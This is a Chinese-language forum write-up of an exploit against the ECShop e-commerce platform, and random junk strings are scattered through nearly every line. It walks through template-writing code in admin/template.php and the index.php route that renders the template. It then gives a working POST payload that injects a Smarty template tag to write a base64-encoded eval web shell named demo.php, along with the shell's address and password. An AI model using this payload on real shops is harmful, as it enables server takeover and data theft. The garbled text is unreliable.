首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: U0 y" ?0 _, S0 } F
$ N+ J0 q9 _+ D而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
) v# Z) z$ i6 P但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
) p B8 e% L3 y$ M- t' h, \( e( cadmin/template.php
# x- |0 L8 O, n3 d
3 r# C! ]( H( B2 [1 a( x1 if ($_REQUEST['act'] == 'update_library')
# z" o" x6 c1 y! ~% [: I% r) w- J; m/ N* @& A9 A2 Y5 y
2 + m) v0 w2 H, F) }
1 W* ~0 t6 d$ {
3 {
H0 @. Z; S+ i" Z' g* v
2 C) z5 H* V1 p+ ?+ y6 Y4 check_authz_json('library_manage');
. o. D" I( r9 E
0 Y$ a* N$ r, [) r- M+ K& l5
3 s! d" c( L- i9 X; K3 G# |* _" a6 y2 x$ _ s: w& C0 d8 B
6 $html = stripslashes(json_str_iconv($_POST['html'])); % p# X3 y9 n* f
A, z, g! t& q( d7 h4 o7
+ b5 c4 W+ `5 t3 U( v/ }* O+ i0 K' ?& j$ [- Z$ C$ H6 G
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ) F0 J3 p. [0 w4 Y2 @5 V" g
4 ^$ ^5 H* R! j* }9 \" v1 G9 2 U7 q$ ^! [# {1 r% I
% R! R* Y( a9 R3 I" \10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
# u! ~5 ?& {; O% e4 N2 Z. j8 F( I) x9 J; X4 W
11
0 o' o; W( A9 b8 k. W* ]3 I; q7 i: X
7 _1 f5 T* \0 {' q12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); $ X4 w R6 ^0 l
2 r) W0 \ s: N' [13
0 f+ e1 L- X! }9 c
+ a5 _( ]- j Y) A14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
* p9 w' M% o; P4 @2 v
1 H/ }# Y5 C9 I5 ] O15 {
. e+ U$ ^; k8 ?5 `) {( ~4 M7 w6 i( q" w/ T$ ~% [7 D
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
. I* \. x# a# v
3 O! {' Q; E+ Z( I17 make_json_result('', $_LANG['update_lib_success']);
+ |1 N' K; P4 ]+ M/ u4 M9 P6 g: a
# O6 x" }: q6 @6 q18 }
! V* A( M5 ?2 V7 b9 I
) E* I8 ]1 l" y8 }19 else ?! n/ U* t" s$ Z% F
1 z( x b2 n( H: G N W
20 {
: Z: c9 Z! J* M7 |6 S# g: e+ c' J5 P }1 T, y, S
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
! ~ {$ _; F, h& F0 K/ f+ S8 |% f- M3 _6 q" S" ?( x
22 }
; ~& y. U, p+ L( z/ ]# `
. G: B/ t5 s! ]7 l; J( w23 }
) G/ W' _+ E) x! b6 `2 h2 \
0 S5 a% X0 `4 c那么找个比较方便调用了模板的文件
1 x5 K: ^3 i! b+ i3 Z" J5 X% Nindex.php. o4 k% P; r! \5 n
$ `9 Y$ Y6 K+ d/ N7 }* H/ q1 if ($act == 'cat_rec')
6 d# M: k# @0 B" {: K$ E+ n) q0 w" r& C, B( [7 q( C
2
# G* M8 h6 v; a/ j" X3 Y9 m7 C: @( v; B' f; F6 o
3 {
8 v7 _; J; W* Z/ w
( Y6 x' H3 w- q) S4 8 L) l& Y0 V! N3 b# F% m
% E8 z! {% L0 q5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 7 j! a! |$ y3 \- R
' l# H7 i/ T5 E5 ~; A: w
6 7 a$ j3 I/ |9 R9 |2 \
: m V% ]2 U. Z( s
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
. T5 R" X9 V# q1 o5 \, h
' e9 S" w" w' A( R% p8
8 X K/ J5 H+ C u; U& ^
! C2 K) G7 [8 k( p, w& Q9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 6 R$ }" L' q4 Y5 C4 t! S
4 e8 B& ~3 s, |7 R9 h: H10
# Z6 m, \" ^1 K/ o. B! J- c8 x" t; b, Z4 M, {
11 include_once('includes/cls_json.php');
' z" P, @' S3 O' s& B$ Y0 ?* r$ j& \" T2 u3 v4 i/ G0 e( ^, F
12
& E# U6 X. A% d" _1 B' ~: l+ @/ n
13 $json = new JSON;
* n* T! c4 e6 _7 ?% m9 k" e5 G* Y X" G. ~
14 ! p% s$ { Y- E; m+ L2 s3 g& v3 [4 ~% A
' m8 O/ d6 V9 l# D( D, a- l6 y
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
8 D2 b" D. V- i5 e! _
3 j3 J) }$ E+ H% o16
, V% V8 B5 \" K1 ]
* }, B/ z* s& Y2 V9 e7 X17 $children = get_children($cat_id);
i# E8 x0 E+ L5 _
% ?, T! p: M& ]7 y3 h8 \- N6 `- q2 Z18 5 K. m/ d2 h6 X
4 _; _2 K% s1 U+ D
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
, `! o; d2 u! v# c# w
! ^8 O6 S& [) f20
5 j$ I. R) a- A: y! h: X: E1 Q B+ @2 I' @# R1 |0 S2 q
21 $smarty->assign('cat_rec_sign', 1); ; m" X% @' S b. o
* t4 J# {! ]$ y+ |2 X) P, j, g# e
22
% {; I6 P4 X2 U3 ^- I9 X2 O" b1 T, p/ L0 x/ h6 t2 i
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ! z' l% x9 h" J
+ b) i- I x( y/ j; q2 `9 B3 e24 / V1 S+ O2 j; c) t
& E7 @5 W+ d3 A: x25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 3 I' S- }& l: | G0 `% I
}0 \/ L* w+ m6 |26
& L3 m- ^2 _0 ~. |6 s2 a+ R) [% y" N6 o
27 echo $rec_array[$rec_type];
7 ]+ K7 N% I8 {. W5 ^7 X9 K7 w0 u; p; I* Q
28 ; P$ d- G* ]+ q0 L, g& g
" c: F8 e% T# g2 W9 H7 y
29 die($json->encode($result)); V& A k5 I( {4 @
3 B: c$ D1 ? h
30
4 ~- G& {6 \5 E# v2 p; @6 D& Q/ w1 o& z2 t3 y) N
31 }
$ v5 o0 b w& D1 [! V2 ~! \2 N) J* I4 z
那么就有利用方法了9 }2 w1 I: A6 A1 g, @0 j
post包到http://localhost/ec/admin/template.php?act=update_library& x/ P& I" `8 e2 G; @+ H
Post内容:
' o) s/ Q5 R0 H$ t* G7 A+ h
: p1 c5 D" I# |7 x9 _! v! ?
; k$ Z9 e% q3 o' \, _1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ' K1 ?0 Q9 B0 \& h1 ]3 E
8 m, i9 g# w. M3 P, `- X* ^
然后访问http://localhost/ec/index.php?act=cat_rec3 v6 K# M( G, M' h1 f
; h7 m$ @/ F X, ~shel地址:http://localhost/ec/demo.php4 {3 C( J# Y8 ~2 E( e. A2 j; @4 N
密码c. \. X8 U2 Y1 ^- C+ G3 K6 v8 B
9 {, g+ l+ R/ n* A$ I
|